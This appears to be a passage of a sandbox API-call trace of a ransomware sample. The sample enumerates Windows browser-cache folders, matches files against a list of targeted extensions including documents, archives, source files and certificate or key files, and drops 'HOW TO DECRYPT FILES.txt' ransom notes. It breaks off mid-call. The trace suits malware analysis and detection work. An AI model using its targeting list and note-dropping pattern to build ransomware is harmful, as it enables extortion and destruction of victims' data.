[0082.604] lstrlenA (lpString="*.txt") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.jpeg") returned 0 [0082.605] lstrlenA (lpString="*.jpeg") returned 6 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.jpg") returned 0 [0082.605] lstrlenA (lpString="*.jpg") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.png") returned 0 [0082.605] lstrlenA (lpString="*.png") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.php") returned 0 [0082.605] lstrlenA (lpString="*.php") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.cs") returned 0 [0082.605] lstrlenA (lpString="*.cs") returned 4 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.cpp") returned 0 [0082.605] lstrlenA (lpString="*.cpp") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.rar") returned 0 [0082.605] lstrlenA (lpString="*.rar") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.zip") returned 0 [0082.605] lstrlenA (lpString="*.zip") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.html") returned 0 [0082.605] lstrlenA (lpString="*.html") returned 6 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.htm") returned 0 [0082.605] lstrlenA (lpString="*.htm") returned 5 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.xlsx") returned 0 [0082.605] lstrlenA (lpString="*.xlsx") returned 6 [0082.605] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.xls") returned 0 [0082.606] lstrlenA (lpString="*.xls") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.mp4") returned 0 [0082.606] lstrlenA (lpString="*.mp4") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.ppt") returned 0 [0082.606] lstrlenA (lpString="*.ppt") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.pptx") returned 0 [0082.606] lstrlenA (lpString="*.pptx") returned 6 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.doc") returned 0 [0082.606] lstrlenA (lpString="*.doc") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.dot") returned 0 [0082.606] lstrlenA (lpString="*.dot") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.docx") returned 0 [0082.606] lstrlenA (lpString="*.docx") returned 6 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.7z") returned 0 [0082.606] lstrlenA (lpString="*.7z") returned 4 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.tar") returned 0 [0082.606] lstrlenA (lpString="*.tar") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.bz2") returned 0 [0082.606] lstrlenA (lpString="*.bz2") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.gz") returned 0 [0082.606] lstrlenA (lpString="*.gz") returned 4 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.mkv") returned 0 [0082.606] lstrlenA (lpString="*.mkv") returned 5 [0082.606] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.eml") returned 0 [0082.606] lstrlenA (lpString="*.eml") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.msg") returned 0 [0082.607] lstrlenA (lpString="*.msg") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.edb") returned 0 [0082.607] lstrlenA (lpString="*.edb") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.accdb") returned 0 [0082.607] lstrlenA (lpString="*.accdb") returned 7 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.odb") returned 0 [0082.607] lstrlenA (lpString="*.odb") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.java") returned 0 [0082.607] lstrlenA (lpString="*.java") returned 6 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.asm") returned 0 [0082.607] lstrlenA (lpString="*.asm") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.pfx") returned 0 [0082.607] lstrlenA (lpString="*.pfx") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.pem") returned 0 [0082.607] lstrlenA (lpString="*.pem") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.p12") returned 0 [0082.607] lstrlenA (lpString="*.p12") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.gpg") returned 0 [0082.607] lstrlenA (lpString="*.gpg") returned 5 [0082.607] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]", pszSpec="*.vsd") returned 0 [0082.607] lstrlenA (lpString="*.vsd") returned 5 [0082.608] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe751ef0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe751ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe751ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2fa8, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="v2[3]", cAlternateFileName="V2_3_~1")) returned 1 [0082.608] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.608] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="v2[3]") returned -1 [0082.608] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="v2[3]") returned -1 [0082.608] lstrcmpiA (lpString1="", lpString2="v2[3]") returned -1 [0082.608] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[2]") returned="v2[2]" [0082.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.608] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.608] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.608] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.608] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="v2[3]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[3]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[3]" [0082.609] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe8829f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe8829f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe8829f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2da9, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="v2[4]", cAlternateFileName="V2_4_~1")) returned 1 [0082.609] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.609] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="v2[4]") returned -1 [0082.609] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="v2[4]") returned -1 [0082.609] lstrcmpiA (lpString1="", lpString2="v2[4]") returned -1 [0082.609] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[3]") returned="v2[3]" [0082.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.609] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.609] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.609] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.609] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="v2[4]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[4]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[4]" [0082.609] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe8829f0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe8829f0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbe8829f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2da9, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="v2[4]", cAlternateFileName="V2_4_~1")) returned 0 [0082.609] FindClose (in: hFindFile=0x502758 | out: hFindFile=0x502758) returned 1 [0082.610] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0082.610] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0082.610] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0082.610] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0082.610] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0082.610] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*.*") returned="*.*" [0082.610] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\" [0082.610] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\") returned="" [0082.610] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\HOW TO DECRYPT FILES.txt" [0082.610] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\how to decrypt files.txt")) returned 0xffffffff [0082.611] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0082.616] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0082.617] CloseHandle (hObject=0xa0) returned 1 [0082.617] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\desktop.ini" [0082.618] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IKQEEPZR", cAlternateFileName="")) returned 1 [0082.618] lstrcmpA (lpString1=".", lpString2="IKQEEPZR") returned -1 [0082.618] lstrcmpA (lpString1="..", lpString2="IKQEEPZR") returned -1 [0082.618] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\desktop.ini") returned="desktop.ini" [0082.618] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\", lpString2="IKQEEPZR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR" [0082.618] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x506606, cFileName=".", cAlternateFileName="")) returned 0x502758 [0082.622] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0082.622] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0082.623] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0082.623] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0082.623] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45027e90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45027e90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45027e90, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0xa756, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="19619569[1].gif", cAlternateFileName="196195~1.GIF")) returned 1 [0082.623] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.623] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="19619569[1].gif") returned 1 [0082.624] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="19619569[1].gif") returned 1 [0082.624] lstrcmpiA (lpString1="", lpString2="19619569[1].gif") returned -1 [0082.624] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*.*") returned="*.*" [0082.624] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.624] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.624] lstrcatA (in: 